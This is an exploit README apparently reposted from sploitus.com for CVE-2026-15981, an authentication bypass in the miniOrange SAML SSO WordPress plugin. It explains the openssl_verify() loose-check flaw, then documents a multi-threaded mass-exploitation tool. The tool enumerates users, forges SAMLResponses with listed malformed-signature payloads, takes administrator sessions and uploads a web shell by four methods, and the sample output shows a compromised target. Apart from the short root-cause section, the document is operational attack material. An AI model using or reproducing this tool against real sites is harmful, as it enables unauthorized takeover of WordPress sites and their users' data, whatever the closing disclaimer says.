Share
## https://sploitus.com/exploit?id=ACA86828-5C21-5718-A982-2A0E64261DF1
# CVE-2026-15981
SAML Single Sign On <= 5.4.4 - Unauthenticated Authentication Bypass via SAMLResponse Parameter
CVE-2026-15981
SAML Single Sign On โค 5.4.4 โ Unauthenticated Authentication Bypass
Proof-of-Concept Exploit
Malformed Signature โ openssl_verify() returns -1 โ PHP loose cast to true โ wp_set_auth_cookie() as Administrator
---
## Vulnerability Overview
| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-15981 |
| **Affected Plugin** | miniOrange SAML 2.0 Single Sign On โ SSO Login (WordPress) |
| **Affected Versions** | All versions up to and including **5.4.4** |
| **Type** | Unauthenticated Authentication Bypass |
| **CWE** | CWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness |
| **CVSS 3.1** | **9.8 CRITICAL** โ `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Authentication** | None required |
### Description
The SAML Single Sign On โ SSO Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 5.4.4. This is due to the `mo_saml_validate_signature()` function performing a **loose boolean check** on the raw tri-state integer returned by PHP's `openssl_verify()`, causing an error return value of **-1** to be evaluated as truthy and therefore treated as a successful signature verification.
This makes it possible for unauthenticated attackers to log in as **any existing WordPress user, including administrators**, by submitting a crafted SAMLResponse containing an attacker-controlled NameID and a deliberately malformed signature value that triggers an OpenSSL processing error โ bypassing verification entirely and resulting in `wp_set_auth_cookie()` being called for the targeted account.
### Root Cause
```
Attacker sends crafted SAMLResponse
โ
โผ
mo_saml_validate_signature()
โ
โผ
openssl_verify($data, $malformed_sig, $key)
โ
โโ Returns 1 โ valid signature โ
โโ Returns 0 โ invalid signature โ
โโ Returns -1 โ OpenSSL internal error
โ
โผ
PHP loose comparison: if ($result)
โ
โโ (int) 1 โ true โ
โโ (int) 0 โ false โ
โโ (int) -1 โ true โ BUG: error treated as success
โ
โผ
wp_set_auth_cookie() called
โ
โผ
Attacker is now Administrator
```
The fix is trivial โ `if ($result === 1)` instead of `if ($result)` โ but the impact of the flaw is total authentication bypass.
---
## Features
- **Multi-target mass scanning** โ concurrent processing of target lists
- **Full WordPress fingerprinting** โ confirms WordPress before proceeding
- **Plugin detection & version check** โ identifies miniOrange SAML SSO and validates version โค 5.4.4
- **SP metadata discovery** โ extracts Entity ID and ACS URL from `?option=mosaml_metadata`
- **Comprehensive user enumeration:**
- WP REST API (`/wp-json/wp/v2/users`)
- Per-ID REST queries (IDs 1โ10)
- Author archive redirects (`/?author=N`)
- HTML body pattern matching
- Domain-based fallback + common admin names
- **IdP issuer discovery** โ follows `?option=saml_user_login` redirects and extracts IdP base URLs
- **SAMLResponse forgery engine:**
- Proper Exclusive C14N canonicalization via `lxml`
- Correct Digest computation (SHA-1/SHA-256/SHA-384/SHA-512)
- Signature element injection after `` per SAML spec
- 12+ malformed signature payloads designed to trigger `openssl_verify() = -1`
- Iterates users ร issuers ร algorithms ร signatures ร audience flags ร SP entity IDs
- **Session verification** โ checks for `wordpress_logged_in_*` cookie after each attempt
- **Admin role confirmation** โ verifies access to `/wp-admin/`, `/wp-admin/users.php`, `/wp-admin/plugins.php`
- **Profile extraction** โ reads username and email from `/wp-admin/profile.php`
- **4 shell upload methods** upon admin session:
- **M1** โ Plugin ZIP upload via `plugin-install.php`
- **M2** โ REST API plugin upload via `/wp-json/wp/v2/plugins`
- **M3** โ Theme/Plugin editor file write
- **M4** โ Media async upload
- **Shell execution verification** โ confirms `Nx-zD` signature in response body
- **Diagnostic engine** โ classifies failure reasons (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, etc.)
- **Debug JSON output** โ full per-target diagnostic log for analysis
---
## Requirements
```
Python >= 3.8
```
```bash
pip install requests lxml
```
> `lxml` is **required** for proper Exclusive C14N canonicalization of the SAML Assertion.
---
## Usage
```bash
python CVE-2026-15981.py
```
You will be prompted for:
| Prompt | Description | Default |
|---|---|---|
| **Targets file** | Path to a text file with one target per line | `list.txt` |
| **Threads** | Number of concurrent workers (1โ100) | `5` |
### Target File Format
```
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
```
One URL per line. HTTP is used by default if no scheme is specified.
---
## Output
### Terminal
```
โโโโโโโโโโโโ โโโโโโโโโโโโ
โโโโโโโโโโโโโ โโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโ โโโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ miniOrange SAML SSO Admin Session โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
```
Each target progresses through 7 labeled stages:
```
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin email=admin@target.com
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
```
### Result Files
| File | Content |
|---|---|
| `sms.txt` | One line per confirmed admin session โ timestamp, target, user, cookie, shell URL, issuer, signature method |
| `sms_debug.json` | Full diagnostic JSON for every target โ including attempt counts and failure classifications |
### Result Line Format
```
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
```
### Summary
```
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
```
---
## Exploitation Pipeline
```
Target
โ
โโ [1] WordPress Detection
โ โโ wp-login.php / wp-json / jQuery fingerprint
โ
โโ [2] SAML Plugin Detection
โ โโ readme.txt version check (โค 5.4.4)
โ โโ SAML signature detection in HTML
โ
โโ [3] SP Metadata Discovery
โ โโ ?option=mosaml_metadata โ entityID + ACS URL
โ
โโ [4] User Enumeration
โ โโ REST API /wp/v2/users (bulk + per-ID)
โ โโ Author archive redirect (/?author=N)
โ โโ HTML body pattern matching
โ โโ Domain fallback + common admin names
โ
โโ [5] IdP Issuer Discovery
โ โโ ?option=saml_user_login redirect โ IdP URL
โ โโ wp-login.php SAML link extraction
โ
โโ [6] SAMLResponse Forgery & Delivery
โ โ
โ โ For each (user ร issuer ร algorithm ร signature ร audience ร SP ID):
โ โ
โ โโ Build SAML Assertion with attacker-controlled NameID
โ โโ Canonicalize via Exclusive C14N (lxml)
โ โโ Compute correct DigestValue for the Assertion
โ โโ Inject malformed SignatureValue (0xFFร256, ASN.1 junk, etc.)
โ โโ Wrap in , Base64 encode
โ โโ POST SAMLResponse to ACS URL
โ โโ Check for wordpress_logged_in_* cookie
โ โโ If cookie found โ verify admin role via wp-admin
โ โโ Classify failure via diagnostic engine
โ
โโ [7] Post-Exploitation (on admin session)
โโ M1: Plugin ZIP upload + activation
โโ M2: REST API plugin upload
โโ M3: Theme/Plugin editor file write
โโ M4: Media async upload
โโ Shell execution verification (Nx-zD signature)
```
### Malformed Signature Payloads
The exploit ships 12+ signature payloads specifically crafted to trigger `openssl_verify() = -1`:
| Payload | Description |
|---|---|
| `0xFF * 256` | 256 bytes of `0xFF` โ invalid PKCS#1 padding |
| `0xFF * 384` | 384 bytes for RSA-3072 key sizes |
| `0xFF * 512` | 512 bytes for RSA-4096 key sizes |
| `0xFF * 128` | Shorter buffer for smaller key sizes |
| `0xFF * 64` | Minimal invalid padding |
| `0x00 0x01 0xFF*254` | Looks like PKCS#1 v1.5 but with wrong structure |
| `0x00 0x01 0xFF*126` | Shorter PKCS#1-like structure |
| `null_2B` | Two null-adjacent bytes |
| `rand_3B` / `rand_7B` | Random bytes โ triggers parsing errors |
| `asn1_bad` | Malformed ASN.1 DER sequence |
| `ff_1B` | Single `0xFF` byte |
Each is combined with SHA-1 and SHA-256 algorithm URIs, and tested with/without Audience restriction, across multiple SP Entity IDs โ maximizing the chance of hitting the `-1` return path on any OpenSSL version.
---
## Disclaimer
This tool is provided **strictly for authorized security testing and educational research purposes**. Use it only against systems you own or have explicit written authorization to test.
Unauthorized access to computer systems is a criminal offense. The author assumes **no liability** for misuse, damage, or any legal consequences arising from the use of this software. You are solely responsible for ensuring compliance with all applicable laws and regulations in your jurisdiction.
---
By: Nxploited
Khaled Alenazi โ Nxploited ZeroDay Hub
T.m @Kxploit